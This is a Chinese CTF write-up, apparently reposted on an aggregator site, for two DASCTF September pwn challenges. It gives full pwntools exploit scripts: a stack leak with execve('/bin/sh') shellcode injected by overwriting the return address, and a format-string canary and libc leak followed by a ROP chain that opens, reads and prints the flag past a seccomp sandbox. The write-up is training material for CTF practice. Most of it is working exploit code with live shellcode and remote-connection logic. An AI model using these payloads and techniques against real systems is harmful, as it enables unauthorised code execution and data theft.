pwnDASCTF Sept 月赛
Posted woodwhale
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了pwnDASCTF Sept 月赛相关的知识,希望对你有一定的参考价值。
【pwn】DASCTF Sept 月赛
1、hehepwn
先查看保护,栈可执行,想到shellcode
这题需要注意shellcode的写法
拖入ida中分析
一直以为iso scanf不能栈溢出,后来发现我是shabi
先进入sub_4007F9()函数
有个read函数,恰好读完s数组,由于printf是碰到\\x00截断,所以如果我们输满0x20个padding就可以读取一个栈地址
我们可以把shellcode写入scanf输入的地址中,通过创建fake ret地址进行rip迁移,而这个栈中存有我们写入的shellcode
我们先调试出scanf的输入地址,然后计算它与leak出来的stack地址的偏移
那么算完了我们开始构建payload(shellcode)
shellcode1 = b"\\x31\\xc0\\x48\\xbb\\xd1\\x9d\\x96\\x91\\xd0\\x8c\\x97\\xff\\x48\\xf7\\xdb\\x53\\x54\\x5f\\x99\\x52\\x57\\x54\\x5e\\xb0\\x3b\\x0f\\x05".ljust(0x50,b"b")
shellcode = shellcode1
shellcode += b"bi0xbi0x"+p64(stack-0x50)
前半部分的可见字符的27字节的shellcode是在shellcode storm中找到的,是我见过最短的execve("/bin/sh")了
这里先填充8字节的padding(rbp),再写入fake rip,覆盖返回地址
或者换用flat写法
shellcode = flat({0:shellcode1, 0x58: stack - 0x50})
exp如下:
from pwn import *
import sys
from LibcSearcher import *
context.log_level='debug'
context.arch='amd64'
def ret2libc(leak,func,path=''):
if path == '':
libc = LibcSearcher(func,leak)
base = leak - libc.dump(func)
system = base + libc.dump('system')
binsh = base + libc.dump('str_bin_sh')
else:
libc = path
libc.address = leak - libc.sym[func]
system = libc.sym['system']
binsh = next(libc.search(b'/bin/sh'))
return (system,binsh)
s = lambda data : io.send(data)
sa = lambda str1,data : io.sendafter(str1,data)
sl = lambda data : io.sendline(data)
sla = lambda str1,data : io.sendlineafter(str1,data)
r = lambda num : io.recv(num)
rl = lambda keepends=True : io.recvline(keepends)
ru = lambda data,drop=True : io.recvuntil(data,drop)
ia = lambda : io.interactive()
uu32 = lambda data : u32(data.ljust(4,b'\\x00'))
uu64 = lambda data : u64(data.ljust(8,b'\\x00'))
i16 = lambda data : int(data,16)
leak = lambda name,addr : log.success('{} = {:#x}'.format(name, addr))
dbg = lambda : gdb.attach(io)
if len(sys.argv) == 3:
io = remote(sys.argv[1], sys.argv[2])
elif len(sys.argv) == 2:
if ':' in sys.argv[1]:
rmt = sys.argv[1].split(':')
io = remote(rmt[0], rmt[1])
else:
io = process(sys.argv[1])
elf = ELF(sys.argv[1])
else:
io = process('./bypwn')
elf = ELF("./bypwn")
sa(":",b"b"*(0x20-1)+b"a")
ru("a")
stack = uu64(r(6))
leak("stack",stack)
# dbg()
shellcode1 = b"\\x31\\xc0\\x48\\xbb\\xd1\\x9d\\x96\\x91\\xd0\\x8c\\x97\\xff\\x48\\xf7\\xdb\\x53\\x54\\x5f\\x99\\x52\\x57\\x54\\x5e\\xb0\\x3b\\x0f\\x05".ljust(0x50,b"b")
shellcode = shellcode1
shellcode += b"bi0xbi0x"+p64(stack-0x50)
sla("~",shellcode)
# sla("~",flat({0:shellcode1, 0x58: stack - 0x50}))
ia()
2、hahapwn
(感谢pwn神师傅niyah的wp和指点!)
这题就是开了沙箱,execve给ban了,不然就是最简单的ret2libc
既然execv给ban了,那么就用orw
比较坑的就是给的libc版本错误,自己用libcsearcher搜出来是下图版本
思路就是用fmt泄露canary和一个栈地址,还有__libc_start_main+240的地址用来泄露libc_base
然后用rop链写一个orw,函数里有puts就不用麻烦的写一个write了
from pwn import *
import sys
from LibcSearcher import *
context.log_level='debug'
context.arch='amd64'
def ret2libc(leak,func,path=''):
if path == '':
libc = LibcSearcher(func,leak)
base = leak - libc.dump(func)
system = base + libc.dump('system')
binsh = base + libc.dump('str_bin_sh')
else:
libc = path
libc.address = leak - libc.sym[func]
system = libc.sym['system']
binsh = next(libc.search(b'/bin/sh'))
return (system,binsh)
s = lambda data : io.send(data)
sa = lambda str1,data : io.sendafter(str1,data)
sl = lambda data : io.sendline(data)
sla = lambda str1,data : io.sendlineafter(str1,data)
r = lambda num : io.recv(num)
rl = lambda keepends=True : io.recvline(keepends)
ru = lambda data,drop=True : io.recvuntil(data,drop)
ia = lambda : io.interactive()
uu32 = lambda data : u32(data.ljust(4,b'\\x00'))
uu64 = lambda data : u64(data.ljust(8,b'\\x00'))
i16 = lambda data : int(data,16)
leak = lambda name,addr : log.success('{} = {:#x}'.format(name, addr))
dbg = lambda : gdb.attach(io)
if len(sys.argv) == 3:
io = remote(sys.argv[1], sys.argv[2])
elif len(sys.argv) == 2:
if ':' in sys.argv[1]:
rmt = sys.argv[1].split(':')
io = remote(rmt[0], rmt[1])
else:
io = process(sys.argv[1])
elf = ELF(sys.argv[1])
else:
io = process('./pwn')
elf = ELF("./pwn")
offset = 6
sa("?","%27$p,%28$p,%39$p")
ru("0x")
canary = i16(ru("00",False))
leak("canary",canary)
ru("0x")
stack = i16(r(12))
leak("stack",stack)
ru("0x")
libc_start_main = i16(r(12)) - 240
leak("libc_start_main",libc_start_main)
# libc = LibcSearcher("read",read_addr)
libc = ELF("/home/bi0x/ctftools/pwntools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
libc.address = libc_start_main - libc.sym["__libc_start_main"]
open_addr = libc.sym["open"]
puts_addr = libc.sym["puts"]
read_addr = libc.sym["read"]
# base = read_addr - libc.dump("read")
# open_addr = base + libc.dump("open")
# puts_addr = base + libc.dump("puts")
# read_addr = base + libc.dump("read")
# dbg()
syscall = next(libc.search(asm("syscall")))
pop_rdi = next(libc.search(asm("pop rdi; ret")))
pop_rsi = next(libc.search(asm("pop rsi; ret")))
pop_rax_ret = next(libc.search(asm("pop rax; ret")))
pop_rdx_ret = next(libc.search(asm("pop rdx; ret")))
pop_rdx__rbx_ret = next(libc.search(asm("pop rdx; pop rbx; ret")))
flag_addr = stack + 0xb8
orw = flat([
pop_rdi, flag_addr, pop_rsi, 0, open_addr,
pop_rdi, 3, pop_rsi, flag_addr, pop_rdx__rbx_ret, 0x100, 0, read_addr,
pop_rdi, flag_addr, puts_addr
]).ljust(0x100,b"B") + b"flag\\x00"
# dbg()
payload = b"b"*(0x70-0x8) + p64(canary) + b"bi0xbi0x" + orw
sla("?",payload)
ia()
简单说一下为什么flag_addr = stack + 0xb8,因为我们后面输入的位置+0x70+0x8+0x100和stack + 0xb8的位置相等,这样我们就可以读取到输入的flag这个地址了
也就是flag_addr = stack + 0xb8这个位置就是我们orw里写的b"flag\\x00"的位置,这个是动调出来的
自己在本地写了一个臭flag
3、datasystem
堆题,等我复现完QAQ
以上是关于pwnDASCTF Sept 月赛的主要内容,如果未能解决你的问题,请参考以下文章